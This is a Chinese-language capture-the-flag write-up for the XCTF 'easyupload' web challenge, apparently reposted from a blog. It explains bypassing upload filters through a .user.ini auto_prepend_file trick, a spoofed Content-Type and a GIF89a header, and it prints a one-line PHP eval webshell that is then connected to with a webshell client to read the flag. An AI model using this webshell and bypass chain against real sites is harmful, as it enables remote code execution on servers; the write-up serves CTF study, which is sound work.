文章目录 XCTF - easyupload文件上传漏洞前期总结1. JavaScript 防御2. Content-Type: text/php 进行检测非图片即禁止3. 上传名称后缀为.p
典型的文件上传，本题涉及知识点
其实这个题目是文件上传漏洞中相对来说不是很常见的题目，说实话也是涉及了我的知识盲区，在此之前我对文件上传漏洞有一些总结如下，都尝试过后发现没有能用的。
检测发生在浏览器端(本地检测)
点击上传之后马上弹窗，
右键查看源码
- Windows系统不允许最后一个字符是空格之类的特殊符号- 如果上传文件的最后一个字符是空格，会自动去掉php+windows的情况下：如果文件名+“::$DATA”
.user.ini中两个中的配置就是auto_prepend_file和auto_append_file。这两个配置的意思就是：我们指定一个文件（如1.jpg），那么该文件就会被包含在要执行的php文件中（如index.php），相当于在index.php中插入一句：require(./1.jpg)。这两个设置的区别只是在于auto_prepend_file是在文件前插入，auto_append_file在文件最后插入。
利用.user.ini的前提是服务器开启了CGI或者FastCGI，并且上传文件的存储路径下有index.php可执行文件。
所以本题我们要想上传并且执行，首先上传.user.ini文件，然后上传一个图片。
注意：.user.ini在Mac下是直接不显示的，所以这里我们直接创建一个1.user.ini,然后进行抓包改包即可。
上传过程中发现，被过滤了，肯定是文件的内容被检测到不是图片，我们将Content-Type修改为图片格式尝试一下：
修改Content-Type后，发现上传成功，接下来直接上传shell.jpg即可。直接创建一个一句话木马的txt。修改后缀为.jpg,
eval($_POST['cmd']);?>
上传后发现依然被检测，仔细一看，文件头和content type对不起来，添加文件头尝试：
GIF89a<?=eval($_REQUEST['cmd']);?>在这里用其他版本的一句话容易被检测，测试了好几次发现这个比较好用，此时我们需要用到另一个知识点：.user.ini和shell.jpg同一目录下的所有php文件都会包含shell.jpg文件。这样就很好办了，我们看看uploads文件夹下是否有php文件，再次上传一个正常图片后，发现跳转网页中有/uploads/index.php
运用仪剑进行连接
此时一定要注意，连接的地址为xxx/uploads/index.php
在根目录下发现flag。
其实在这里我们就比较好理解了，我们首先上传.user.ini的目的是本目录下所制定的文件被php文件所包含，其实相当于三个文件必须同时存在才会满足这个条件。
来源地址：https://blog.csdn.net/yuanxu8877/article/details/128071631
--结束END--
本文标题: 攻防世界easyupload （web新手）
本文链接: https://www.lsjlt.com/news/399498.html(转载时请注明来源链接)
有问题或投稿请发送至: 邮箱/279061341@qq.com QQ/279061341
2024-02-29
2024-02-29
2024-02-29
2024-02-29
2024-02-29
2024-02-29
2024-02-29
2024-02-29
2024-02-29
2024-02-29
回答
回答
回答
回答
回答
回答
回答
回答
回答
回答
官方手机版
微信公众号
商务合作
0